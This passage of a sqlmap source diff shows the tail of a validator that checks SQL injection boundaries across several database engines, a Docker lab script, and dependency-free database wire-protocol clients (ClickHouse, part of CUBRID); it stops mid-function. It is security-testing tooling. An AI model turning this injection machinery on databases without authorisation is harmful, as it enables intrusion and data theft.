return ("PostgreSQL", run, contexts, cleanup), None
|
||||
|
||||
|
||||
def _mssql():
|
||||
try:
|
||||
import pymssql
|
||||
h, p, u, w, _ = _env("BC_MSSQL", "127.0.0.1:11433:sa:Esp_pass123")
|
||||
c = pymssql.connect(server=h, port=p, user=u, password=w, database="master", autocommit=True, login_timeout=5)
|
||||
cur = c.cursor()
|
||||
for q in ("IF OBJECT_ID('bc') IS NOT NULL DROP TABLE bc", "CREATE TABLE bc(id INT,name VARCHAR(64),note VARCHAR(64))",
|
||||
"INSERT INTO bc VALUES(1,'orig','n'),(2,'x','n'),(3,'y','n')"):
|
||||
cur.execute(q)
|
||||
except Exception as ex:
|
||||
return None, str(ex).splitlines()[-1][:60]
|
||||
|
||||
run = make_run(cur)
|
||||
contexts = WHERE_CONTEXTS + [
|
||||
("SELECT [%s] FROM bc", "name"), # bracket column identifier (string)
|
||||
("SELECT [%s] FROM bc", "id"), # bracket column identifier (numeric)
|
||||
("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x")] # block comment
|
||||
|
||||
def cleanup():
|
||||
try:
|
||||
cur.execute("IF OBJECT_ID('bc') IS NOT NULL DROP TABLE bc"); c.close()
|
||||
except Exception:
|
||||
pass
|
||||
return ("Microsoft SQL Server", run, contexts, cleanup), None
|
||||
|
||||
|
||||
def _oracle():
|
||||
try:
|
||||
try:
|
||||
import oracledb as ora
|
||||
except ImportError:
|
||||
import cx_Oracle as ora
|
||||
h, p, u, w, svc = _env("BC_ORACLE", "127.0.0.1:1521:system:oracle:FREEPDB1")
|
||||
c = ora.connect(user=u, password=w, dsn=ora.makedsn(h, p, service_name=svc))
|
||||
c.autocommit = True
|
||||
cur = c.cursor()
|
||||
for q in ("BEGIN EXECUTE IMMEDIATE 'DROP TABLE bc'; EXCEPTION WHEN OTHERS THEN NULL; END;",
|
||||
"CREATE TABLE bc(id INT, name VARCHAR2(64), note VARCHAR2(64))",
|
||||
"INSERT INTO bc VALUES(1,'orig','n')", "INSERT INTO bc VALUES(2,'x','n')"):
|
||||
cur.execute(q)
|
||||
c.commit()
|
||||
except Exception as ex:
|
||||
return None, str(ex).splitlines()[0][:60]
|
||||
|
||||
run = make_run(cur, c.rollback)
|
||||
contexts = WHERE_CONTEXTS + [
|
||||
("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x"), # block comment
|
||||
("SELECT COUNT(*) FROM bc WHERE name=q'[%s]'", "orig"), # alternative quoting q'[...]'
|
||||
("SELECT COUNT(*) FROM bc WHERE name=q'{%s}'", "orig"),
|
||||
("SELECT COUNT(*) FROM bc WHERE name=q'(%s)'", "orig"),
|
||||
("SELECT COUNT(*) FROM bc WHERE name=q'<%s>'", "orig")]
|
||||
|
||||
def cleanup():
|
||||
try:
|
||||
c.close()
|
||||
except Exception:
|
||||
pass
|
||||
return ("Oracle", run, contexts, cleanup), None
|
||||
|
||||
|
||||
ADAPTERS = [_mysql, _postgres, _mssql, _oracle]
|
||||
|
||||
|
||||
def main():
|
||||
_faithful_or_die()
|
||||
|
||||
boundaries = ET.parse(os.path.join(_ROOT, "data", "xml", "boundaries.xml")).findall(".//boundary")
|
||||
|
||||
engines, skipped = [], []
|
||||
for adapter in ADAPTERS:
|
||||
got, why = adapter()
|
||||
(engines if got else skipped).append(got or (adapter.__name__.strip("_"), why))
|
||||
|
||||
if not engines:
|
||||
print("no reachable DBMS - nothing validated. Bring up the bench (see module docstring).")
|
||||
for name, why in skipped:
|
||||
print(" skipped %-12s (%s)" % (name, why))
|
||||
return
|
||||
|
||||
names = [e[0] for e in engines]
|
||||
mark = {"WORKS": "W", "TIME": "T", "INBAND": "I", "inert": ".", "invalid": "x"}
|
||||
print("boundary%s %s" % (" " * 38, " ".join("%-6s" % n[:6] for n in names)))
|
||||
print("-" * (46 + 8 * len(names)))
|
||||
|
||||
verdicts = []
|
||||
for idx, b in enumerate(boundaries, 1):
|
||||
g = lambda k: (b.findtext(k) or "").strip()
|
||||
prefix, suffix = b.findtext("prefix") or "", b.findtext("suffix") or "" # NOT stripped: leading/trailing space is significant SQL
|
||||
clause = [int(x) for x in (g("clause") or "0").split(",") if x.strip().isdigit()]
|
||||
row = []
|
||||
for dbms, run, contexts, _ in engines:
|
||||
row.append(classify(run, dbms, prefix, suffix, clause, contexts))
|
||||
verdicts.append((idx, prefix, row))
|
||||
cells = " ".join("%-6s" % mark[v] for v in row)
|
||||
print("#%02d p%s c%-5s %-30r %s" % (idx, g("ptype"), g("clause"), prefix[:30], cells))
|
||||
|
||||
for _, _, _, cleanup in engines:
|
||||
cleanup()
|
||||
|
||||
print("\nlegend: W=works (boolean) T=works (time) I=works (inband output) .=valid but inert x=invalid")
|
||||
print("contexts modeled: WHERE numeric/single-quote (paren depths 0-3), LIKE, block comment, plus")
|
||||
print(" per-engine (MySQL: double-quote + backtick table; PG: ANSI-ident + dollar; Oracle: q'..').")
|
||||
print(" NOT modeled: pre-WHERE DML (clause 9), derived-table AS-alias, table/column identifier,")
|
||||
print(" fulltext AGAINST - boundaries needing those (and any error/time-only ones) show inert here.")
|
||||
print("engines: " + ", ".join(names))
|
||||
for name, why in skipped:
|
||||
print("skipped: %-14s (%s)" % (name, why))
|
||||
|
||||
never = [idx for idx, _, row in verdicts if not ({"WORKS","TIME","INBAND"} & set(row))]
|
||||
print("\nboundaries usable via NO oracle (boolean/time/inband) on any reachable engine (review): %s"
|
||||
% (", ".join("#%02d" % i for i in never) or "none"))
|
||||
print("NOTE: boolean + inline-time oracles over sampled contexts. Still unmodeled: the ERROR oracle,")
|
||||
print(" inline time on MSSQL/Oracle (statement/privilege-gated sleep), and some host contexts.")
|
||||
print(" A boundary here may still be usable via one of those, so confirm before acting.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# Disposable boundary-check lab. Spins up throwaway MySQL + PostgreSQL containers, runs the
|
||||
# validator against them, and tears everything down again (even on Ctrl-C / failure).
|
||||
#
|
||||
# It uses uncommon host ports and points the tool at them via BC_* env vars, so it will NOT collide
|
||||
# with any DBMS you already have running (including sqlmap's usual bench). These two engines start in
|
||||
# seconds and exercise the boolean, time and inband oracles plus the MySQL-only (backtick, double-
|
||||
# quote, fulltext) and PostgreSQL-only (dollar-quote) families. MSSQL and Oracle are slower/heavier -
|
||||
# see README.md to add them for full coverage; the tool reports absent engines as "skipped".
|
||||
#
|
||||
# Usage: ./run.sh (requires docker + python drivers pymysql, psycopg2 - see README.md)
|
||||
#
|
||||
set -euo pipefail
|
||||
|
||||
HERE="$(cd "$(dirname "$0")" && pwd)"
|
||||
MYSQL_PORT=13399
|
||||
PG_PORT=15499
|
||||
|
||||
cleanup() { docker rm -f bcheck-mysql bcheck-pg >/dev/null 2>&1 || true; }
|
||||
trap cleanup EXIT
|
||||
cleanup # clear any stale containers from a previous aborted run
|
||||
|
||||
echo "[*] starting throwaway MySQL (:$MYSQL_PORT) and PostgreSQL (:$PG_PORT) ..."
|
||||
docker run -d --rm --name bcheck-mysql -e MYSQL_ROOT_PASSWORD=root -p ${MYSQL_PORT}:3306 mysql:8.4 >/dev/null
|
||||
docker run -d --rm --name bcheck-pg -e POSTGRES_USER=esp -e POSTGRES_PASSWORD=pass -e POSTGRES_DB=espdb -p ${PG_PORT}:5432 postgres:16 >/dev/null
|
||||
|
||||
echo "[*] waiting for readiness ..."
|
||||
# a real query, not just ping: the mysql:8.4 image accepts pings mid-init then restarts once
|
||||
for _ in $(seq 1 90); do docker exec bcheck-mysql mysql -uroot -proot -e "SELECT 1" >/dev/null 2>&1 && break; sleep 2; done
|
||||
for _ in $(seq 1 60); do docker exec bcheck-pg pg_isready -U esp >/dev/null 2>&1 && break; sleep 1; done
|
||||
|
||||
echo "[*] running boundarycheck ..."
|
||||
# only touch the throwaway containers we just created; force MSSQL/Oracle to skip (closed ports) so
|
||||
# this never connects to - and creates/drops tables on - whatever might be listening on their defaults.
|
||||
BC_MYSQL="127.0.0.1:${MYSQL_PORT}:root:root" \
|
||||
BC_POSTGRES="127.0.0.1:${PG_PORT}:esp:pass:espdb" \
|
||||
BC_MSSQL="127.0.0.1:59998:x:x" \
|
||||
BC_ORACLE="127.0.0.1:59997:x:x:x" \
|
||||
python3 "$HERE/boundarycheck.py"
|
||||
|
||||
echo "[*] done. MSSQL/Oracle were not started here, so their engine-specific boundaries show in the"
|
||||
echo " review list - add them per README.md for full coverage. Tearing down (trap removes containers)."
|
||||
@@ -0,0 +1,77 @@
|
||||
# dbwire
|
||||
|
||||
Minimal, dependency-free database wire-protocol clients used as a fallback for sqlmap's direct
|
||||
(`-d`) connection mode.
|
||||
|
||||
## What this is
|
||||
|
||||
sqlmap's `-d` mode talks to a database server directly instead of through an injection point. It
|
||||
normally does so via a native driver (`psycopg2`, `pymysql`, `pymssql`, ...) or, if one is missing,
|
||||
via SQLAlchemy. When neither is installed, `dbwire` provides a small pure-python client so that `-d`
|
||||
still works out of the box.
|
||||
|
||||
Every module here is written against the database's **wire protocol** using only the Python standard
|
||||
library (`socket`, `struct`, `hashlib`, `hmac`, `base64`, `urllib`). There are no third-party
|
||||
dependencies, and the sources run unmodified on Python 2.7 and Python 3.
|
||||
|
||||
## Coverage
|
||||
|
||||
A wire protocol is shared across a whole family of products, so one client serves several engines:
|
||||
|
||||
| Module | Protocol | Engines |
|
||||
|-----------------|---------------------|---------|
|
||||
| `postgres.py` | PostgreSQL v3 | PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica |
|
||||
| `mysql.py` | MySQL client/server | MySQL, MariaDB, TiDB, Aurora (MySQL), Percona |
|
||||
| `tds.py` | TDS 7.x | Microsoft SQL Server |
|
||||
| `sybase.py` | TDS 5.0 | Sybase / SAP ASE |
|
||||
| `firebird.py` | Firebird wire | Firebird 3 / 4 / 5 |
|
||||
| `cubrid.py` | CUBRID CAS | CUBRID |
|
||||
| `clickhouse.py` | HTTP (TabSeparated) | ClickHouse and HTTP-compatible forks |
|
||||
| `monetdb.py` | MAPI | MonetDB |
|
||||
| `presto.py` | HTTP/REST (JSON) | Presto, Trino |
|
||||
|
||||
The mapping from a DBMS to its module lives in `lib/core/dicts.py` (`DBWIRE_MODULES`). The connector
|
||||
tier order is: native driver, then SQLAlchemy, then dbwire.
|
||||
|
||||
## Interface
|
||||
|
||||
Each module exposes a small [PEP 249](https://peps.python.org/pep-0249/) (DB-API 2.0) subset:
|
||||
|
||||
- `connect(host, port, user, password, database, connect_timeout, ...)` -> `Connection`
|
||||
- `Connection.cursor()`, `.commit()`, `.rollback()`, `.close()`
|
||||
- `Cursor.execute(query)`, `.fetchall()`, `.fetchone()`, `.close()`, `.description`, `.rowcount`
|
||||
- the shared exception hierarchy in `__init__.py` (`Error` -> `InterfaceError` / `DatabaseError` ->
|
||||
`OperationalError` / `DataError` / `IntegrityError` / `ProgrammingError` / `InternalError` /
|
||||
`NotSupportedError`)
|
||||
|
||||
It is deliberately read-oriented for sqlmap's use: `execute()` takes a fully-formed query string
|
||||
(no parameter binding), statements auto-commit, and binary column values are returned as `bytes` so
|
||||
that sqlmap renders them as hex.
|
||||
|
||||
## Scope and limitations
|
||||
|
||||
This is a fallback for `-d`, not a general-purpose driver. It intentionally does not implement
|
||||
parameter binding, prepared statements, bulk load/`COPY`, or TLS. Notable per-protocol notes:
|
||||
|
||||
- **PostgreSQL** - `trust`, cleartext, MD5 and SCRAM-SHA-256 authentication.
|
||||
- **MySQL** - `mysql_native_password` and the `caching_sha2_password` fast path. Full
|
||||
`caching_sha2_password` authentication over a plaintext connection requires RSA/TLS and is not
|
||||
supported; use a `mysql_native_password` account for the dependency-free path.
|
||||
- **TDS** - cleartext login only. Servers that force encryption (for example Azure SQL Database)
|
||||
require TLS and are not supported here; the native driver or SQLAlchemy tier covers those. LOGIN7 is the
|
||||
Microsoft dialect (TDS 7.x) and does not reach Sybase - see the next bullet.
|
||||
- **TDS 5.0 (Sybase)** - cleartext LOGINREC login. The client declares no optional capabilities, so the
|
||||
server converts anything exotic (`date`/`time`/`bigdatetime`, wide formats) down to the baseline types
|
||||
before sending it. Packet size is whatever the login negotiates. Sends and expects UTF-8, so a server
|
||||
running any character set is decoded correctly.
|
||||
- **Firebird** - SRP-256 (and SRP) authentication with ChaCha20 or RC4 wire encryption, as required by
|
||||
default on Firebird 3 and later. Legacy (pre-SRP) authentication is not implemented.
|
||||
- **CUBRID** - cleartext login over the CAS broker protocol. Large objects (BLOB/CLOB) are returned as
|
||||
their raw locator handles rather than fetched inline.
|
||||
|
||||
When a case is not supported, the client raises a clear `NotSupportedError` rather than returning
|
||||
wrong data, so `-d` cleanly falls through to another connector tier where possible.
|
||||
|
||||
---
|
||||
|
||||
Part of [sqlmap](https://sqlmap.org). See the top-level `LICENSE` for copying permission.
|
||||
@@ -0,0 +1,126 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
dbwire - minimal, dependency-free (stdlib-only) database wire-protocol clients used as a fallback for
|
||||
sqlmap's direct ('-d') connection when no native driver (and no SQLAlchemy) is installed.
|
||||
|
||||
Design note: connectors speak a *wire protocol*, not a product, so a single client covers the whole
|
||||
compatible family - e.g. the PostgreSQL client also serves CockroachDB, CrateDB, Redshift and Greenplum;
|
||||
a MySQL client serves MariaDB/TiDB/Aurora. Where a family split the protocol, so does the client: tds.py
|
||||
speaks Microsoft's TDS 7.x and sybase.py the TDS 5.0 that ASE kept. Each module exposes a small PEP 249
|
||||
(DB-API 2.0) subset (connect(), Connection.cursor()/commit()/close(), Cursor.execute()/fetchall()).
|
||||
"""
|
||||
|
||||
import socket
|
||||
|
||||
__version__ = "0.1"
|
||||
|
||||
apilevel = "2.0"
|
||||
threadsafety = 1
|
||||
paramstyle = "pyformat"
|
||||
|
||||
# PEP 249 exception hierarchy (shared by every wire module)
|
||||
class Error(Exception):
|
||||
pass
|
||||
|
||||
class InterfaceError(Error):
|
||||
pass
|
||||
|
||||
class DatabaseError(Error):
|
||||
pass
|
||||
|
||||
class OperationalError(DatabaseError):
|
||||
pass
|
||||
|
||||
class DataError(DatabaseError):
|
||||
pass
|
||||
|
||||
class IntegrityError(DatabaseError):
|
||||
pass
|
||||
|
||||
class ProgrammingError(DatabaseError):
|
||||
pass
|
||||
|
||||
class InternalError(DatabaseError):
|
||||
pass
|
||||
|
||||
class NotSupportedError(DatabaseError):
|
||||
pass
|
||||
|
||||
def http_origin(host, port):
|
||||
"""
|
||||
'http://host:port', with a literal IPv6 address bracketed as RFC 3986 requires. Without the brackets
|
||||
the colons in the address are parsed as the port separator and the URL is simply wrong.
|
||||
"""
|
||||
|
||||
host = host or "localhost"
|
||||
if ":" in host and not host.startswith("["):
|
||||
host = "[%s]" % host
|
||||
return "http://%s:%d" % (host, int(port))
|
||||
|
||||
|
||||
def connection_lost(ex):
|
||||
"""
|
||||
Turn a raw socket/OS failure into the DB-API hierarchy above.
|
||||
|
||||
Callers of a PEP 249 driver only ever catch Error and its subclasses, so a bare socket.error escaping
|
||||
from a send/recv leaves them with an unhandled traceback instead of a handled connection failure.
|
||||
"""
|
||||
|
||||
return OperationalError("connection lost (%s)" % ex)
|
||||
|
||||
def handshake_done(sock):
|
||||
"""
|
||||
Drop the connect deadline, once the login exchange is over.
|
||||
|
||||
connect_timeout has to stay armed THROUGH the handshake, not just the TCP connect: a peer that
|
||||
accepts the connection and then says nothing (a wrong port, a silent proxy, a dropping firewall) is
|
||||
perfectly alive as far as keepalive() below is concerned, so an unbounded login read waits forever.
|
||||
A query is the opposite case - see keepalive().
|
||||
"""
|
||||
|
||||
try:
|
||||
sock.settimeout(None)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def keepalive(sock):
|
||||
"""
|
||||
Ask the kernel to probe an idle connection, so a peer that dies without a FIN is eventually detected.
|
||||
|
||||
Deliberately NOT a read timeout: a legitimate query can take minutes on a big table, and a fixed
|
||||
deadline would kill it. Keepalive distinguishes a dead peer from a slow one, which is the actual
|
||||
failure being guarded against. Best-effort - the options are not portable everywhere.
|
||||
"""
|
||||
|
||||
try:
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
|
||||
for name, value in (("TCP_KEEPIDLE", 60), ("TCP_KEEPINTVL", 10), ("TCP_KEEPCNT", 5)):
|
||||
if hasattr(socket, name):
|
||||
sock.setsockopt(socket.IPPROTO_TCP, getattr(socket, name), value)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def recvn(sock, n):
|
||||
"""
|
||||
Read exactly n bytes off `sock`, or raise - every wire protocol here is framed, so a short read is a
|
||||
desynchronized stream, not a smaller message.
|
||||
|
||||
Shared because it was five identical copies: a fix to the recv loop has to land once, not per module.
|
||||
"""
|
||||
|
||||
buf = b""
|
||||
while len(buf) < n:
|
||||
try:
|
||||
chunk = sock.recv(n - len(buf))
|
||||
except (socket.error, OSError) as ex:
|
||||
raise connection_lost(ex)
|
||||
if not chunk:
|
||||
raise InterfaceError("connection closed by server")
|
||||
buf += chunk
|
||||
return buf
|
||||
@@ -0,0 +1,143 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Minimal pure-python ClickHouse client over its native HTTP interface (stdlib only, no clickhouse_connect).
|
||||
|
||||
ClickHouse exposes an HTTP endpoint that runs a query in the request body and streams the result back in a
|
||||
chosen format; we use TabSeparatedWithNames (first line = column names, then tab-separated rows with
|
||||
backslash escaping and \\N for NULL). Covers ClickHouse and its HTTP-compatible forks.
|
||||
"""
|
||||
|
||||
import base64
|
||||
import socket
|
||||
|
||||
try:
|
||||
from urllib.request import Request, urlopen # Python 3
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import quote
|
||||
except ImportError:
|
||||
from urllib2 import Request, urlopen, HTTPError, URLError # Python 2
|
||||
from urllib import quote
|
||||
|
||||
from extra.dbwire import OperationalError
|
||||
from extra.dbwire import http_origin
|
||||
from extra.dbwire import ProgrammingError
|
||||
|
||||
# TabSeparated backslash escapes -> the literal byte they denote
|
||||
_ESCAPE = {ord("t"): 9, ord("n"): 10, ord("r"): 13, ord("0"): 0, ord("b"): 8,
|
||||
ord("f"): 12, ord("a"): 7, ord("v"): 11, ord("\\"): 92, ord("'"): 39}
|
||||
|
||||
def _unescape(value):
|
||||
# value: the raw bytes of one TSV field -> None (\N) or the unescaped bytes. Operates on bytes because a
|
||||
# String/FixedString column can hold arbitrary non-UTF-8 data, which a whole-body utf-8 decode would destroy.
|
||||
if value == b"\\N":
|
||||
return None
|
||||
if b"\\" not in value:
|
||||
return value
|
||||
src, out, i, n = bytearray(value), bytearray(), 0, len(value)
|
||||
while i < n:
|
||||
c = src[i]
|
||||
if c == 0x5c and i + 1 < n: # backslash
|
||||
out.append(_ESCAPE.get(src[i + 1], src[i + 1])); i += 2
|
||||
else:
|
||||
out.append(c); i += 1
|
||||
return bytes(out)
|
||||
|
||||
def _decode_cell(value):
|
||||
# keep text as str; hand back raw bytes only when a value is not valid UTF-8 (sqlmap then hex-encodes it)
|
||||
if value is None:
|
||||
return None
|
||||
try:
|
||||
return value.decode("utf-8")
|
||||
except UnicodeDecodeError:
|
||||
return value
|
||||
|
||||
class Cursor(object):
|
||||
def __init__(self, connection):
|
||||
self.connection = connection
|
||||
self.description = None
|
||||
self.rowcount = -1
|
||||
self._rows = []
|
||||
self._pos = 0
|
||||
|
||||
def execute(self, query, params=None):
|
||||
if params is not None:
|
||||
raise ProgrammingError("parameter binding is not supported; pass a fully-formed query string")
|
||||
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
|
||||
self.description, self._rows = self.connection._query(query)
|
||||
self.rowcount = len(self._rows)
|
||||
return self
|
||||
|
||||
def fetchall(self):
|
||||
retVal = self._rows[self._pos:]
|
||||
self._pos = len(self._rows)
|
||||
return retVal
|
||||
|
||||
def fetchone(self):
|
||||
if self._pos >= len(self._rows):
|
||||
return None
|
||||
retVal = self._rows[self._pos]
|
||||
self._pos += 1
|
||||
return retVal
|
||||
|
||||
def close(self):
|
||||
self._rows = []
|
||||
|
||||
class Connection(object):
|
||||
def __init__(self, host, port, user, password, database, timeout):
|
||||
# quote the database: a name with a reserved character would otherwise inject into the query string
|
||||
self._url = "%s/?database=%s&default_format=TabSeparatedWithNames" % (http_origin(host, port), quote(database or "default", safe=""))
|
||||
self._headers = {}
|
||||
if user or password:
|
||||
token = base64.b64encode(("%s:%s" % (user or "", password or "")).encode("utf-8")).decode("ascii")
|
||||
self._headers["Authorization"] = "Basic %s" % token
|
||||
self._timeout = timeout
|
||||
|
||||
def cursor(self):
|
||||
return Cursor(self)
|
||||
|
||||
def commit(self):
|
||||
pass # ClickHouse statements are executed immediately (no client-side transaction)
|
||||
|
||||
def rollback(self):
|
||||
pass
|
||||
|
||||
def close(self):
|
||||
pass # HTTP is stateless
|
||||
|
||||
def _query(self, query):
|
||||
req = Request(self._url, data=query.encode("utf-8"), headers=self._headers)
|
||||
try:
|
||||
body = urlopen(req, timeout=self._timeout).read() # bytes: column data may be non-UTF-8
|
||||
except HTTPError as ex:
|
||||
raise ProgrammingError("(remote) %s" % ex.read().decode("utf-8", "replace").strip())
|
||||
except URLError as ex:
|
||||
raise OperationalError("(remote) %s" % ex)
|
||||
except (socket.timeout, socket.error) as ex:
|
||||
raise OperationalError("(remote) %s" % ex)
|
||||
|
||||
if not body:
|
||||
return None, []
|
||||
lines = body.split(b"\n")
|
||||
if lines and lines[-1] == b"":
|
||||
lines.pop()
|
||||
if not lines:
|
||||
return None, []
|
||||
description = [(name, None, None, None, None, None, None) for name in (_decode_cell(_unescape(_)) for _ in lines[0].split(b"\t"))]
|
||||
rows = [tuple(_decode_cell(_unescape(_)) for _ in line.split(b"\t")) for line in lines[1:]]
|
||||
return description, rows
|
||||
|
||||
def connect(host=None, port=8123, user=None, password=None, database=None, connect_timeout=None, **kwargs):
|
||||
connection = Connection(host or "localhost", int(port or 8123), user, password, database, connect_timeout)
|
||||
try:
|
||||
connection._query("SELECT 1") # verify connectivity/credentials up front
|
||||
except ProgrammingError:
|
||||
raise
|
||||
except Exception as ex:
|
||||
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
|
||||
return connection
|
||||
@@ -0,0 +1,468 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Minimal pure-python CUBRID client speaking the CAS (Common Application Server) broker protocol (stdlib
|
||||
only, no CUBRID-Python/CCI). Does the 10-byte broker handshake (+ optional CAS-worker redirect), a
|
||||
cleartext OPEN_DATABASE login, then prepare / execute / fetch with column-metadata decoding. Read-oriented
|
||||
for sqlmap: execute() takes a fully-formed query string, binary (BIT/VARBIT/BLOB) values come back as bytes
|
||||
(sqlmap hex-encodes them). Auto-commit is enabled so each statement is independent.
|
||||
"""
|
||||
|
||||
import datetime
|
||||
import socket
|
||||
import struct
|
||||
|
||||
from extra.dbwire import DatabaseError
|
||||
from extra.dbwire import DataError
|
||||
from extra.dbwire import InterfaceError
|
||||
from extra.dbwire import IntegrityError
|
||||
from extra.dbwire import NotSupportedError
|
||||
from extra.dbwire import OperationalError
|
||||
from extra.dbwire import connection_lost
|
||||
from extra.dbwire import handshake_done
|
||||
from extra.dbwire import keepalive
|
||||
from extra.dbwire import recvn
|
||||
from extra.dbwire import ProgrammingError
|
||||
|
||||
_MAGIC = b"CUBRK"
|
||||
_CLIENT_JDBC = 3
|
||||
_CAS_VERSION = 0x48 # PROTO_INDICATOR(0x40) | VERSION(8)
|
||||
|
||||
# function codes (first raw byte of each request)
|
||||
_FC_END_TRAN = 1
|
||||
_FC_PREPARE = 2
|
||||
_FC_EXECUTE = 3
|
||||
_FC_SET_DB_PARAMETER = 5
|
||||
_FC_CLOSE_REQ_HANDLE = 6
|
||||
_FC_FETCH = 8
|
||||
_FC_CON_CLOSE = 31
|
||||
|
||||
_TRAN_COMMIT = 1
|
||||
_TRAN_ROLLBACK = 2
|
||||
_PARAM_AUTO_COMMIT = 4
|
||||
|
||||
_OID_SIZE = 8
|
||||
_STMT_SELECT = 21
|
||||
|
||||
# CUBRID CCI_U_TYPE column type codes
|
||||
_T_CHAR = 1
|
||||
_T_STRING = 2
|
||||
_T_NCHAR = 3
|
||||
_T_VARNCHAR = 4
|
||||
_T_BIT = 5
|
||||
_T_VARBIT = 6
|
||||
_T_NUMERIC = 7
|
||||
_T_INT = 8
|
||||
_T_SHORT = 9
|
||||
_T_MONETARY = 10
|
||||
_T_FLOAT = 11
|
||||
_T_DOUBLE = 12
|
||||
_T_DATE = 13
|
||||
_T_TIME = 14
|
||||
_T_TIMESTAMP = 15
|
||||
_T_OBJECT = 19
|
||||
_T_BIGINT = 21
|
||||
_T_DATETIME = 22
|
||||
_T_BLOB = 23
|
||||
_T_CLOB = 24
|
||||
_T_ENUM = 25
|
||||
_T_JSON = 34
|
||||
_STRING_TYPES = frozenset((_T_CHAR, _T_STRING, _T_NCHAR, _T_VARNCHAR, _T_ENUM, _T_JSON))
|
||||
_BINARY_TYPES = frozenset((_T_BIT, _T_VARBIT, _T_BLOB, _T_CLOB))
|
||||
|
||||
_MAX_MESSAGE_LENGTH = 0x40000000 # guard against a hostile/corrupt length
|
||||
|
||||
class _Writer(object):
|
||||
# builds a request payload (after the 8-byte header): raw function code + length-prefixed args
|
||||
def __init__(self, fc):
|
||||
self._buf = bytearray(struct.pack(">B", fc))
|
||||
|
||||
def raw_int(self, v):
|
||||
self._buf += struct.pack(">i", v); return self
|
||||
|
||||
def raw_byte(self, v):
|
||||
self._buf += struct.pack(">B", v); return self
|
||||
|
||||
def arg_int(self, v):
|
||||
self._buf += struct.pack(">ii", 4, v); return self
|
||||
|
||||
def arg_byte(self, v):
|
||||
self._buf += struct.pack(">iB", 1, v); return self
|
||||
|
||||
def arg_null(self):
|
||||
self._buf += struct.pack(">i", 0); return self
|
||||
|
||||
def arg_cache_time(self):
|
||||
self._buf += struct.pack(">iii", 8, 0, 0); return self
|
||||
|
||||
def arg_nts(self, s): # null-terminated string arg: [len(utf8)+1][utf8][00]
|
||||
b = s.encode("utf-8")
|
||||
self._buf += struct.pack(">i", len(b) + 1) + b + b"\x00"; return self
|
||||
|
||||
def payload(self):
|
||||
return bytes(self._buf)
|
||||
|
||||
class _Reader(object):
|
||||
def __init__(self, buf):
|
||||
self._buf = buf
|
||||
self._off = 0
|
||||
|
||||
def remaining(self):
|
||||
return len(self._buf) - self._off
|
||||
|
||||
def byte(self):
|
||||
v = struct.unpack_from(">B", self._buf, self._off)[0]; self._off += 1; return v
|
||||
|
||||
def short(self):
|
||||
v = struct.unpack_from(">h", self._buf, self._off)[0]; self._off += 2; return v
|
||||
|
||||
def int(self):
|
||||
v = struct.unpack_from(">i", self._buf, self._off)[0]; self._off += 4; return v
|
||||
|
||||
def long(self):
|
||||
v = struct.unpack_from(">q", self._buf, self._off)[0]; self._off += 8; return v
|
||||
|
||||
def float(self):
|
||||
v = struct.unpack_from(">f", self._buf, self._off)[0]; self._off += 4; return v
|
||||
|
||||
def double(self):
|
||||
v = struct.unpack_from(">d", self._buf, self._off)[0]; self._off += 8; return v
|
||||
|
||||
def raw(self, n):
|
||||
# a slice past the end returns short data *silently*, which would hand a truncated value to the
|
||||
# caller (the fixed-width readers above raise struct.error instead)
|
||||
if n < 0 or n > self.remaining():
|
||||
raise InterfaceError("CAS response too short (wanted %d of %d bytes)" % (n, self.remaining()))
|
||||
v = self._buf[self._off:self._off + n]; self._off += n; return bytes(v)
|
||||
|
||||
def skip(self, n):
|
||||
self._off += n
|
||||
|
||||
def nts(self, n): # n bytes, drop one trailing NUL if present
|
||||
b = self.raw(n)
|
||||
if b and bytearray(b)[-1:] == bytearray(b"\x00"):
|
||||
b = b[:-1]
|
||||
return b
|
||||
|
||||
def _decode_text(raw):
|
||||
try:
|
||||
return raw.decode("utf-8")
|
||||
except UnicodeDecodeError:
|
||||
return raw # non-UTF-8 -> keep bytes (sqlmap hex-encodes), not lossy
|
||||
|
||||
def _decode_value(reader, col_type, size):
|
||||
if col_type in _STRING_TYPES:
|
||||
return _decode_text(reader.nts(size))
|
||||
if col_type in (_T_BIT, _T_VARBIT):
|
||||
return reader.raw(size)
|
||||
if col_type == _T_NUMERIC:
|
||||
return _decode_text(reader.nts(size)) # DECIMAL arrives as ASCII text
|
||||
if col_type == _T_INT:
|
||||
return str(reader.int())
|
||||
if col_type == _T_SHORT:
|
||||
return str(reader.short())
|
||||
if col_type == _T_BIGINT:
|
||||
return str(reader.long())
|
||||
if col_type == _T_FLOAT:
|
||||
return repr(reader.float())
|
||||
if col_type in (_T_DOUBLE, _T_MONETARY):
|
||||
return repr(reader.double())
|
||||
if col_type == _T_DATE:
|
||||
y, mo, d = reader.short(), reader.short(), reader.short()
|
||||
return "%s" % datetime.date(y, mo, d)
|
||||
if col_type == _T_TIME:
|
||||
h, mi, s = reader.short(), reader.short(), reader.short()
|
||||
return "%s" % datetime.time(h, mi, s)
|
||||
if col_type == _T_TIMESTAMP:
|
||||
vals = [reader.short() for _ in range(6)]
|
||||
return "%s" % datetime.datetime(*vals)
|
||||
if col_type == _T_DATETIME:
|
||||
y, mo, d, h, mi, s, ms = (reader.short() for _ in range(7))
|
||||
